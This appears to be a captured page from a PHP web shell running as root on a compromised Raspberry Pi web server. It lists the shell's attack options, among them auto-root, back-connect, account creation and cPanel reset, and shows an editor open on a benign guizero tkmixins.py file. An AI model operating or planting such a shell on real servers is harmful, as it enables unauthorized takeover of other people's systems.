Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
guizero /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
App.py
1.99
KB
-rw-r--r--
Box.py
3.11
KB
-rw-r--r--
ButtonGroup.py
10.2
KB
-rw-r--r--
CheckBox.py
4.63
KB
-rw-r--r--
Combo.py
10.54
KB
-rw-r--r--
ListBox.py
8.05
KB
-rw-r--r--
MenuBar.py
1.32
KB
-rw-r--r--
Picture.py
2.58
KB
-rw-r--r--
PushButton.py
5.2
KB
-rw-r--r--
RadioButton.py
1.7
KB
-rw-r--r--
Slider.py
2.59
KB
-rw-r--r--
Text.py
2.71
KB
-rw-r--r--
TextBox.py
3.7
KB
-rw-r--r--
Waffle.py
10.4
KB
-rw-r--r--
Window.py
1.03
KB
-rw-r--r--
__init__.py
715
B
-rw-r--r--
alerts.py
1.17
KB
-rw-r--r--
base.py
18.22
KB
-rw-r--r--
event.py
5.87
KB
-rw-r--r--
tkmixins.py
10.47
KB
-rw-r--r--
utilities.py
11.77
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tkmixins.py
from . import utilities as utils from tkinter.font import Font from tkinter import TclError class ScheduleMixin(): _callback = {} def after(self, time, function, args = []): """Call `function` after `time` milliseconds.""" callback_id = self.tk.after(time, self._call_wrapper, time, function, *args) self._callback[function] = [callback_id, False] def repeat(self, time, function, args = []): """Repeat `function` every `time` milliseconds.""" callback_id = self.tk.after(time, self._call_wrapper, time, function, *args) self._callback[function] = [callback_id, True] def cancel(self, function): """Cancel the scheduled `function` calls.""" if function in self._callback.keys(): callback_id = self._callback[function][0] self.tk.after_cancel(callback_id) self._callback.pop(function) else: utils.error_format("Could not cancel function - it doesnt exist, it may have already run") def _call_wrapper(self, time, function, *args): """Fired by tk.after, gets the callback and either executes the function and cancels or repeats""" # execute the function function(*args) if function in self._callback.keys(): repeat = self._callback[function][1] if repeat: # setup the call back again and update the id callback_id = self.tk.after(time, self._call_wrapper, time, function, *args) self._callback[function][0] = callback_id else: # remove it from the call back dictionary self._callback.pop(function) class DestroyMixin(): def destroy(self): """Destroy the object.""" self.tk.destroy() class EnableMixin(): @property def enabled(self): state = self._get_tk_config("state") return state == "normal" or state == "active" @enabled.setter def enabled(self, value): if value: self.enable() else: self.disable() def disable(self): """Disable the widget.""" self._set_tk_config("state", "disabled") def enable(self): """Enable the widget.""" self._set_tk_config("state", "normal") class FocusMixin(): def focus(self): """Give focus to the widget.""" self.tk.focus_set() class DisplayMixin(): @property def visible(self): """ Sets or returns whether the widget is visible. """ return self._visible @visible.setter def visible(self, value): if value: self.show() else: self.hide() def hide(self): """Hide the widget.""" self._visible = False self.master.display_widgets() def show(self): """Show the widget.""" self._visible = True self.master.display_widgets() class TextMixin(): FG_KEYS = [ "fg", "activeforeground", ] # Get the font object for this widget def _get_font(self, default = False): # get the font in use for the widget f = Font(self.tk, self._get_tk_config("font", default=default)) # configure() returns a dictionary of font attributes return f.configure() # Get the text colour as a string @property def text_color(self): """ Sets or returns the text color of the widget. """ return self._get_tk_config("fg") # Set the text colour @text_color.setter def text_color(self, color): self._set_tk_config(self.FG_KEYS, utils.convert_color(color)) # Get the current font as a string @property def font(self): """ Set or returns the font the widget is using. """ f = self._get_font() return (f["family"]) # Set the current font @font.setter def font(self, font): if font is None: # get the font from the default font f = self._get_font(default = True) font = f["family"] self._set_tk_config("font", (font, self.text_size)) # Get the current text size as an integer @property def text_size(self): """ Sets or returns the text size of the widget. """ f = self._get_font() return (f["size"]) # Set the font size @text_size.setter def text_size(self, size): if size is None: # get the size from the default font f = self._get_font(default = True) size = f["size"] self._set_tk_config("font", (self.font, size)) class ColorMixin(): # these are the widget keys which will get set when the background is changed BG_KEYS = [ "bg", "activebackground", "selectcolor", "troughcolor", ] # Get the background colour as a string @property def bg(self): """ Sets the background color of the widget. """ return self._get_tk_config("bg") # Set the background colour @bg.setter def bg(self, color): self._set_tk_config(self.BG_KEYS, utils.convert_color(color)) class SizeMixin(): @property def width(self): """ Sets or returns the width of the widget. """ return self._width @width.setter def width(self, value): self.resize(value, self._height) @property def height(self): """ Sets or returns the height of the widget. """ return self._height @height.setter def height(self, value): self.resize(self._width, value) def resize(self, width, height): """ Resizes the widget. :param int width: The width of the widget. :param int height: The height of the widget. """ self._width = width self._height = height if width != "fill": self._set_tk_config("width", width) if height != "fill": self._set_tk_config("height", height) if width == "fill" or height == "fill": self.master.display_widgets() class LayoutMixin(): @property def grid(self): """ Returns `[x,y]` coordinates of this widget. """ return self._grid @property def align(self): """ Returns the alignment of this widget within its grid location. """ return self._align class EventsMixin(): @property def when_clicked(self): """ Sets or returns the function called when the widget is clicked. """ return self.events.get_event("<when_clicked>") @when_clicked.setter def when_clicked(self, value): self.events.set_event("<when_clicked>", "<ButtonPress-1>", value) @property def when_left_button_pressed(self): """ Sets or returns the function called when the left mouse button is pressed. """ return self.events.get_event("<when_left_button_pressed>") @when_left_button_pressed.setter def when_left_button_pressed(self, value): self.events.set_event("<when_left_button_pressed>", "<ButtonPress-1>", value) @property def when_left_button_released(self): """ Sets or returns the function called when the left mouse button is released. """ return self.events.get_event("<when_left_button_released>") @when_left_button_released.setter def when_left_button_released(self, value): self.events.set_event("<when_left_button_released>", "<ButtonRelease-1>", value) @property def when_right_button_pressed(self): """ Sets or returns the function called when the right mouse button is pressed. """ return self.events.get_event("<when_right_button_pressed>") @when_right_button_pressed.setter def when_right_button_pressed(self, value): self.events.set_event("<when_right_button_pressed>", "<ButtonPress-3>", value) @property def when_right_button_released(self): """ Sets or returns the function called when the right mouse button is released. """ return self.events.get_event("<when_right_button_released>") @when_right_button_released.setter def when_right_button_released(self, value): self.events.set_event("<when_right_button_released>", "<ButtonRelease-3>", value) @property def when_key_pressed(self): """ Sets or returns the function called when a key is pressed. """ return self.events.get_event("<when_key_pressed>") @when_key_pressed.setter def when_key_pressed(self, value): self.events.set_event("<when_key_pressed>", "<KeyPress>", value) @property def when_key_released(self): """ Sets or returns the function called when a key is released. """ return self.events.get_event("<when_key_released>") @when_key_released.setter def when_key_released(self, value): self.events.set_event("<when_key_released>", "<KeyRelease>", value) @property def when_mouse_enters(self): """ Sets or returns the function called when the mouse pointer enters the widget. """ return self.events.get_event("<when_mouse_enters>") @when_mouse_enters.setter def when_mouse_enters(self, value): self.events.set_event("<when_mouse_enters>", "<Enter>", value) @property def when_mouse_leaves(self): """ Sets or returns the function called when the mouse pointer leaves the widget. """ return self.events.get_event("<when_mouse_leaves>") @when_mouse_leaves.setter def when_mouse_leaves(self, value): self.events.set_event("<when_mouse_leaves>", "<Leave>", value) @property def when_mouse_moved(self): """ Sets or returns the function called when the mouse pointers moves. """ return self.events.get_event("<when_mouse_moved>") @when_mouse_moved.setter def when_mouse_moved(self, value): self.events.set_event("<when_mouse_moved>", "<Motion>", value) @property def when_mouse_dragged(self): """ Sets or returns the function called when the mouse pointer is dragged (moved with the left button pressed). """ return self.events.get_event("<when_mouse_dragged>") @when_mouse_dragged.setter def when_mouse_dragged(self, value): self.events.set_event("<when_mouse_dragged>", "<B1-Motion>", value)
Close